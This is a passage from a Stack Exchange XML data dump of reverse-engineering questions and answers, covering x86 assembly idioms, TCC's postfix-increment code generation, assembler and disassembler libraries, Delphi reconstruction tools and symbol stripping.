href=&quot;http://en.wikipedia.org/wiki/XOR_swap_algorithm&quot;&gt;http://en.wikipedia.org/wiki/XOR_swap_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XORs are used in the CRC checksum algorithm:&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Cyclic_redundancy_check&quot;&gt;http://en.wikipedia.org/wiki/Cyclic_redundancy_check&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XORs can be used to calculate Gray codes:&#xA;&lt;a href=&quot;http://www.morkalork.com/mork/article/74/How_to_understand_and_use_Gray_code.htm#.U6RhN_ldXvI&quot;&gt;http://www.morkalork.com/mork/article/74/How_to_understand_and_use_Gray_code.htm#.U6RhN_ldXvI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just the tip of the iceberg. The instruction can be used in a large number of situations. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2014-06-20T16:33:20.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4655" PostTypeId="2" ParentId="4641" CreationDate="2014-06-20T18:39:28.427" Score="4" Body="&lt;p&gt;The comment of Guntram Blohm is right. The original value of &lt;code&gt;i&lt;/code&gt; is stored into &lt;code&gt;ecx&lt;/code&gt; for a possible later use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf&quot; rel=&quot;nofollow&quot;&gt;ISO/IEC 9899:TC3&lt;/a&gt; (C99) ---&#xA;6.5.2.4 Postfix increment and decrement operators:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The result of the postfix ++ operator is the value of the operand.&#xA;  After the result is obtained, the value of the operand is incremented.&#xA;  (That is, the value 1 of the appropriate type is added to it.) See&#xA;  the discussions of additive operators and compound assignment for&#xA;  information on constraints, types, and conversions and the effects of&#xA;  operations on pointers. The side effect of updating the stored value&#xA;  of the operand shall occur between the previous and the next sequence&#xA;  point.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The sequence points are described in Annex C of the document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TCC performs only few optimizations, the code is generated in a single pass and every C statement is compiled on its own. It seems that the compiler is almost as simple as possible so it does not store any state during the compilation if it is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When TCC encountered the sequence point before &lt;code&gt;++&lt;/code&gt; it did not know about the &lt;code&gt;++&lt;/code&gt; operation. Performing the side-effect of the &lt;code&gt;++&lt;/code&gt; operator later after evaluating the &lt;code&gt;++&lt;/code&gt; operation would mean to store a state information. It seems that the author of TCC selected the simplest approach - to perform the side-effect together with the evaluation of the &lt;code&gt;++&lt;/code&gt; operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original value of the &lt;code&gt;i&lt;/code&gt; variable (before incrementing) can possibly be used again in the same expression so it is saved to the &lt;code&gt;ecx&lt;/code&gt; register and the result of the postfix increment operation is stored to the variable on the stack immediately (&lt;code&gt;mov [ebp+var_4], eax&lt;/code&gt;). It does not matter that the value in &lt;code&gt;ecx&lt;/code&gt; is not used later. This is the disadvantage due to the simplicity of TCC. For example you can notice that the code loads the value of &lt;code&gt;i&lt;/code&gt; from stack to &lt;code&gt;eax&lt;/code&gt; even if the value is in &lt;code&gt;eax&lt;/code&gt; already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of code which additionally uses the original value of &lt;code&gt;i&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;j = i++ + i * 3;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;13: 8b 45 fc        mov eax, DWORD PTR [rbp-0x4]    // load i to eax&#xA;16: 48 89 c1        mov ecx, eax                    // store the original value of i for later use&#xA;19: 83 c0 01        add eax, 0x1                    // increment the value (the side effect of ++)&#xA;1c: 89 45 fc        mov DWORD PTR [rbp-0x4], eax    // store it to i - everything between &quot;=&quot; and &quot;+&quot; is done at this point including the side-effect of i++&#xA;1f: 8b 45 fc        mov eax, DWORD PTR [rbp-0x4]    // load i to eax (Now it is the incremented value.)&#xA;22: ba 03 00 00 00  mov edx, 0x3                    // load value 3 for the multiplication&#xA;27: 0f af c2        imul    eax, edx                // multiply&#xA;2a: 01 c1           add ecx, eax                    // add the original value of i (the result of i++)&#xA;2c: 89 4d f8        mov DWORD PTR [rbp-0x8], ecx    // store the result to j&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;1f&lt;/code&gt; the incremented value of &lt;code&gt;i&lt;/code&gt; is being used but it is also possible to use the original value of &lt;code&gt;i&lt;/code&gt; there and still be in adherence with C99 because the sequence point after &lt;code&gt;i++&lt;/code&gt; was not encountered yet. In this case the sequence points are right before and after the statement.&lt;/p&gt;&#xA;" OwnerUserId="2363" LastActivityDate="2014-06-20T18:39:28.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4656" PostTypeId="1" CreationDate="2014-06-20T20:51:54.867" Score="2" ViewCount="5860" Body="&lt;p&gt;I have the following question: Could it be that OR EAX, EAX represents a if statement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I ask is, I have read the following in an assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;OR EAX, EAX&#xA;JNZ funct.A&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before the line OR EAX, EAX comes, the function strcmp is called which has the return value 00000001 stored in EAX. &#xA;So I have found out that: if the return value is greater than zero indicates that the first character that does not match has a greater value in string1 than in string2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my first question would be: What does that mean &quot;&lt;strong&gt;if the return value is greater than zero indicates that the first character that does not match has a greater value in string1 than in string2.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the second question would be: Can I translate the assembly code in pseudo C-Code like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(EAX == 1){&#xA;   funct.A;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that ok? Or completely wrong? If yes, then what would your suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2019-02-09T08:49:29.340" Title="Is OR EAX, EAX as If-Statement possible?" Tags="|assembly|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4657" PostTypeId="1" CreationDate="2014-06-20T21:08:08.573" Score="1" ViewCount="149" Body="&lt;p&gt;I've been playing with a device similar to this one: &lt;a href=&quot;http://wiki.openwrt.org/toh/cisco/epc3208g&quot; rel=&quot;nofollow&quot;&gt;EPC3208G&lt;/a&gt;. &#xA;I've connected GND, TX and what i think is an RX pins via ttl adapter. Using minicom, 8N1 and baudrate of 115200, I managed to get some output after the device powers up. But, much like in the linked article on openwrt wiki, the serial console output just stops after some time. It stops on the same character every time, although not the same as in the article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering what could be the reason for this behaviour?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-06-24T14:45:14.023" Title="Serial console stops output abruptly" Tags="|hardware|serial-communication|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4658" PostTypeId="2" ParentId="4656" CreationDate="2014-06-20T22:03:42.973" Score="2" Body="&lt;p&gt;in x86 / x86-64 or represents a logical or. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; OR EAX, EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Performs the logical bitwise or operation. If EAX is zero, the result will be all zeroes, and the zero flag will be set, which most likely will is the whole point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might render the code you showed as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(EAX != 0)&#xA;{&#xA;     func.A&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's hard to see exactly what the significance of this is without knowing the wider context of what is happening. I would guess that the actual string comparison should return a 0 into the EAX register should the strings (or parts of strings) match. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed this is a normal approach:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/11663745/compare-arrays-of-characters-in-x86-assembly&quot;&gt;https://stackoverflow.com/questions/11663745/compare-arrays-of-characters-in-x86-assembly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This above post relates a method for comparing strings in x86. The jne and cmp instructions are used rather than the jnz, but the concept may hold water to your situation. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-06-20T22:03:42.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4659" PostTypeId="2" ParentId="2873" CreationDate="2014-06-20T22:35:36.360" Score="3" Body="&lt;p&gt;Also a powerful tool when dealing with Delphi is IDR : &lt;a href=&quot;http://kpnc.org/idr32/en/&quot; rel=&quot;nofollow&quot;&gt;IDR&lt;/a&gt; (Interactive Delphi Reconstructor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can export the result of this tool to use it with IDA pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't forget to download the coresponding signature for your binary &lt;a href=&quot;http://kpnc.org/idr32/en/download.htm&quot; rel=&quot;nofollow&quot;&gt;http://kpnc.org/idr32/en/download.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2716/special-properties-of-delphi-object-pascal-executables/2726&quot;&gt;post&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2014-06-20T22:35:36.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4660" PostTypeId="2" ParentId="4656" CreationDate="2014-06-20T22:58:14.403" Score="3" Body="&lt;p&gt;I would translate this to the pseudo code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strcmp(…)) &#xA;    goto funct.A;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The point of the OR is that &lt;code&gt;strcmp()&lt;/code&gt;, like all C functions returning integer scalars, returns its result in &lt;code&gt;EAX&lt;/code&gt;. In order to do conditional jump, you need to set the conditional flags based on the value, and &lt;code&gt;OR EAX, EAX&lt;/code&gt; has the nice property that it sets the conditional flags (particularly &lt;code&gt;ZF&lt;/code&gt;, which is tested by the subsequent jump) without modifying the value in &lt;code&gt;EAX&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not quite sure why &lt;code&gt;OR&lt;/code&gt; would be used instead of &lt;code&gt;TEST&lt;/code&gt; here; the function seems to be identical for the purpose of the code.&lt;/p&gt;&#xA;" OwnerUserId="2058" LastActivityDate="2014-06-20T22:58:14.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4661" PostTypeId="2" ParentId="4656" CreationDate="2014-06-21T02:50:37.957" Score="7" Body="&lt;p&gt;x86 conditional branch and move instructions decide whether to jump/move or not depending on the &lt;strong&gt;&lt;em&gt;flags&lt;/em&gt;&lt;/strong&gt;. If the appropriate flag(s) are set they'll take the action, hence &lt;strong&gt;any instructions that affect the flag(s) can be used&lt;/strong&gt;, not only &lt;code&gt;CMP&lt;/code&gt;. For example &lt;a href=&quot;https://stackoverflow.com/q/54438477/995714&quot;&gt;to check if the high bits in rax are zero&lt;/a&gt; &lt;code&gt;SHR rax, 32; JZ RAX_IS_0&lt;/code&gt; can be used which saves a &lt;code&gt;CMP&lt;/code&gt;. As a result, shorter instructions are generally preferred&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most commonly used one is &lt;a href=&quot;https://en.wikipedia.org/wiki/TEST_%28x86_instruction%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TEST&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;AND eax, eax&lt;/code&gt; can also be used, since it's exactly the same as &lt;code&gt;TEST&lt;/code&gt; except it destroys the destination (but that's irrelevant in cases where source and dest are the same register like this). However sometimes &lt;code&gt;OR&lt;/code&gt; is also used (most likely emitted by the &lt;a href=&quot;https://stackoverflow.com/q/23691989/995714&quot;&gt;Delphi compiler&lt;/a&gt;) because &lt;code&gt;OR reg, reg&lt;/code&gt; gives the same results as &lt;code&gt;AND reg, reg&lt;/code&gt;. If you check the disassembly you'll notice that &lt;code&gt;CMP&lt;/code&gt; is one byte longer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;83 F8 00  cmp  eax, 0&#xA;09 C0     or   eax, eax&#xA;21 C0     and  eax, eax&#xA;85 C0     test eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the above instructions the SF, ZF, PF, CF, OF (and AH with &lt;code&gt;cmp&lt;/code&gt;) will be modified. &lt;code&gt;JNZ&lt;/code&gt; will check &lt;code&gt;ZF&lt;/code&gt; and jump if it's not set, i.e. eax is non zero&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performance-wise &lt;strong&gt;&lt;code&gt;TEST&lt;/code&gt; should always be used&lt;/strong&gt; because &lt;a href=&quot;https://stackoverflow.com/a/33724806/995714&quot;&gt;&lt;code&gt;TEST&lt;/code&gt; can macro-fuse with &lt;code&gt;Jcc&lt;/code&gt;&lt;/a&gt; but not &lt;code&gt;AND&lt;/code&gt; and &lt;code&gt;OR&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/q/4436/2563&quot;&gt;Does a JE must follow directly to an CMP?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/23691989/995714&quot;&gt;Difference between &lt;code&gt;or eax, eax&lt;/code&gt; and &lt;code&gt;test eax, eax&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/33721204/995714&quot;&gt;Test whether a register is zero with &lt;code&gt;CMP reg, 0&lt;/code&gt; vs &lt;code&gt;OR reg, reg&lt;/code&gt;?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/147173/995714&quot;&gt;&lt;code&gt;testl&lt;/code&gt; eax against eax?&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/6002079/995714&quot;&gt;What does the &lt;code&gt;test&lt;/code&gt; instruction do?&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/17390159/995714&quot;&gt;use of &lt;code&gt;TEST&lt;/code&gt; instruction with same register&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2563" LastEditorUserId="2563" LastEditDate="2019-02-09T08:49:29.340" LastActivityDate="2019-02-09T08:49:29.340" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4663" PostTypeId="2" ParentId="2060" CreationDate="2014-06-21T06:55:09.623" Score="3" Body="&lt;p&gt;Parsing PE files correctly is hard and there are almost always ways to make tools crash or refuse to work, while the Windows loader still executes the program normally. See e.g. &lt;a href=&quot;https://www.virusbtn.com/pdf/conference_slides/2007/CaseySheehanVB2007.pdf&quot; rel=&quot;nofollow&quot;&gt;Pimp My PE&lt;/a&gt;, &lt;a href=&quot;https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf&quot; rel=&quot;nofollow&quot;&gt;Undocumented PECOFF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A loop in the resource tree structure might be enough to crash Resource Hacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although these papers are mainly about malicious files, this applies for non-malicious ones as well, if the owner wanted to protect them or if he just happened to use a compiler or packer that violates the PECOFF specification or certain conventions.&lt;/p&gt;&#xA;" OwnerUserId="4608" LastActivityDate="2014-06-21T06:55:09.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4664" PostTypeId="1" AcceptedAnswerId="4667" CreationDate="2014-06-21T13:11:37.690" Score="3" ViewCount="2424" Body="&lt;p&gt;I'm writing a handy reverse tool in C++ with manual assembling/disassembling shell, to automate my work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need an assembler library.&#xA;Is there any library, embedding in C++?&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="4575" LastEditDate="2014-06-21T14:10:06.340" LastActivityDate="2014-06-25T09:26:16.350" Title="Automated Assembly/Disassemble library" Tags="|binary-analysis|dynamic-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4665" PostTypeId="2" ParentId="4664" CreationDate="2014-06-21T14:55:08.393" Score="5" Body="&lt;p&gt;You can take one of these projects (I choose the alphabetic order to sort them):&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Assembler/Disassembler&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gnu.org/software/binutils/&quot; rel=&quot;nofollow&quot;&gt;GNU binutils&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64, ARM, Sparc, MIPS, ...; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE (partial)).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/miasm/&quot; rel=&quot;nofollow&quot;&gt;Miasm&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, ARM, PowerPC, MSP430; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, PE) &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://metasm.cr0.org/&quot; rel=&quot;nofollow&quot;&gt;Metasm&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64, PowerPC, MIPS; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O (partial), PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nasm.us/&quot; rel=&quot;nofollow&quot;&gt;NASM&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.radare.org/y/&quot; rel=&quot;nofollow&quot;&gt;Radare2&lt;/a&gt;: &lt;a href=&quot;http://radare.org/y/?p=examples&amp;amp;f=rasm&quot; rel=&quot;nofollow&quot;&gt;rasm&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64, ARM, PowerPC, Sparc, MIPS, ...; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ollydbg.de/srcdescr.htm&quot; rel=&quot;nofollow&quot;&gt;srcdescr&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386; &lt;strong&gt;Formats&lt;/strong&gt;: PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yasm.tortall.net/&quot; rel=&quot;nofollow&quot;&gt;YASM&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Disassembler (only)&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bap.ece.cmu.edu/&quot; rel=&quot;nofollow&quot;&gt;BAP&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://beatrix2004.free.fr/BeaEngine/index1.php&quot; rel=&quot;nofollow&quot;&gt;BeaEngine&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;Capstone Engine&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64, ARM, PowePC, Sparc, MIPS, ...; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/distorm/&quot; rel=&quot;nofollow&quot;&gt;distorm&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.eresi-project.org/&quot; rel=&quot;nofollow&quot;&gt;ERESI&lt;/a&gt;: &lt;a href=&quot;http://www.eresi-project.org/wiki/TheLibASM&quot; rel=&quot;nofollow&quot;&gt;libasm&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, ARM, Sparc, MIPS; &lt;strong&gt;Formats&lt;/strong&gt;: ELF)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/gdsl-toolkit/wiki/Overview&quot; rel=&quot;nofollow&quot;&gt;GDSL&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, MSP430, AVR)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hopperapp.com/tutorial.html&quot; rel=&quot;nofollow&quot;&gt;Hopper&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://insight.labri.fr/trac&quot; rel=&quot;nofollow&quot;&gt;Insight&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64, MSP430; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, PE (partial), Mach-O (partial))&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/libdasm/&quot; rel=&quot;nofollow&quot;&gt;libdasm&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bastard.sourceforge.net/libdisasm.html&quot; rel=&quot;nofollow&quot;&gt;libdisasm&lt;/a&gt; (from &lt;a href=&quot;http://bastard.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;bastard&lt;/a&gt; project) (&lt;strong&gt;Archs&lt;/strong&gt;: i386; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mkfs.github.io/content/opdis/&quot; rel=&quot;nofollow&quot;&gt;Opdis&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, Mach-O, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/pyew/&quot; rel=&quot;nofollow&quot;&gt;Pyew&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, PE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://udis86.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Udis86&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Assembler (only)&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://flatassembler.net/&quot; rel=&quot;nofollow&quot;&gt;FASM&lt;/a&gt; (&lt;strong&gt;Archs&lt;/strong&gt;: i386, AMD64; &lt;strong&gt;Formats&lt;/strong&gt;: ELF, PE)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&#xA;Each of these projects either contains a library that can be used as it is, or can be wrapped into a library that you will have to code by yourself with the features that you request.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-25T09:26:16.350" LastActivityDate="2014-06-25T09:26:16.350" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4667" PostTypeId="2" ParentId="4664" CreationDate="2014-06-21T16:21:14.273" Score="3" Body="&lt;p&gt;Oleh Yuschuk released a light-weight open-source assembler library that you can download from &lt;a href=&quot;http://ollydbg.de/srcdescr.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ollydbg.de/srcdescr.htm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Assemble&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Function Assemble(), as expected, converts command from ASCII&#xA;form to binary 32 bit code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  // Assemble one of the commands above. First try form with 32-bit immediate.&#xA;  pasm=&amp;quot;ADD [DWORD 475AE0],1&amp;quot;;&#xA;  printf(&amp;quot;%s:\n&amp;quot;,pasm);&#xA;  j=Assemble(pasm,0x400000,&amp;amp;am,0,0,errtext);&#xA;  n=sprintf(s,&amp;quot;%3i  &amp;quot;,j);&#xA;  for (i=0; i&amp;lt;j; i++) n+=sprintf(s+n,&amp;quot;%02X &amp;quot;,am.code[i]);&#xA;  if (j&amp;lt;=0) sprintf(s+n,&amp;quot;  error=\&amp;quot;%s\&amp;quot;&amp;quot;,errtext);&#xA;  printf(&amp;quot;%s\n&amp;quot;,s);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-06-22T18:18:40.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4668" PostTypeId="1" AcceptedAnswerId="4674" CreationDate="2014-06-22T22:47:57.087" Score="7" ViewCount="5406" Body="&lt;p&gt;I've noticed that, even after stripping symbols from my executable, class names and their methods are still included at the end of the executable file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;class Clingons&#xA;{&#xA;public:&#xA;    void clingForever()&#xA;    {&#xA;        cout &amp;lt;&amp;lt; &quot;Qapla&quot; &amp;lt;&amp;lt; endl;&#xA;    }&#xA;};&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    Clingons cling;&#xA;&#xA;    cling.clingForever();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then compile and link with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ cling.cpp -o cling&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when I look at the bottom of the resulting &quot;cling&quot; file with a hex editor, I can see the &quot;Clingons&quot; class name along with it's methods. I can also see this information while debugging..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;even after I strip them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strip -x cling&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can still see the same information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why wasn't this information stripped away when I used the command above? Is there a way to strip (or mangle) this information other than by hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The used version of GCC is &lt;code&gt;i686-apple-darwin10-llvm-g++-4.2 (GCC) 4.2.1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just an example case. My real project involves the Qt framework.&lt;/p&gt;&#xA;" OwnerDisplayName="user2005" LastEditorDisplayName="user2005" LastEditDate="2014-06-24T02:40:35.690" LastActivityDate="2022-04-25T16:50:09.360" Title="How to strip more than symbols?" Tags="|executable|functions|symbols|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4669" PostTypeId="1" CreationDate="2014-06-23T00:15:43.040" Score="-4" ViewCount="248" Body="&lt;p&gt;What is the best virtualization software for Reverse engineering and exploit development?&lt;/p&gt;&#xA;" OwnerUserId="4260" LastEditorUserId="53" LastEditDate="2014-06-29T10:49:57.770" LastActivityDate="2014-06-29T10:49:57.770" Title="Virtualization software for Reversing" Tags="|tools|exploit|" AnswerCount="1" CommentCount="5" ClosedDate="2014-06-23T13:31:41.290" ContentLicense="CC BY-SA 3.0" />
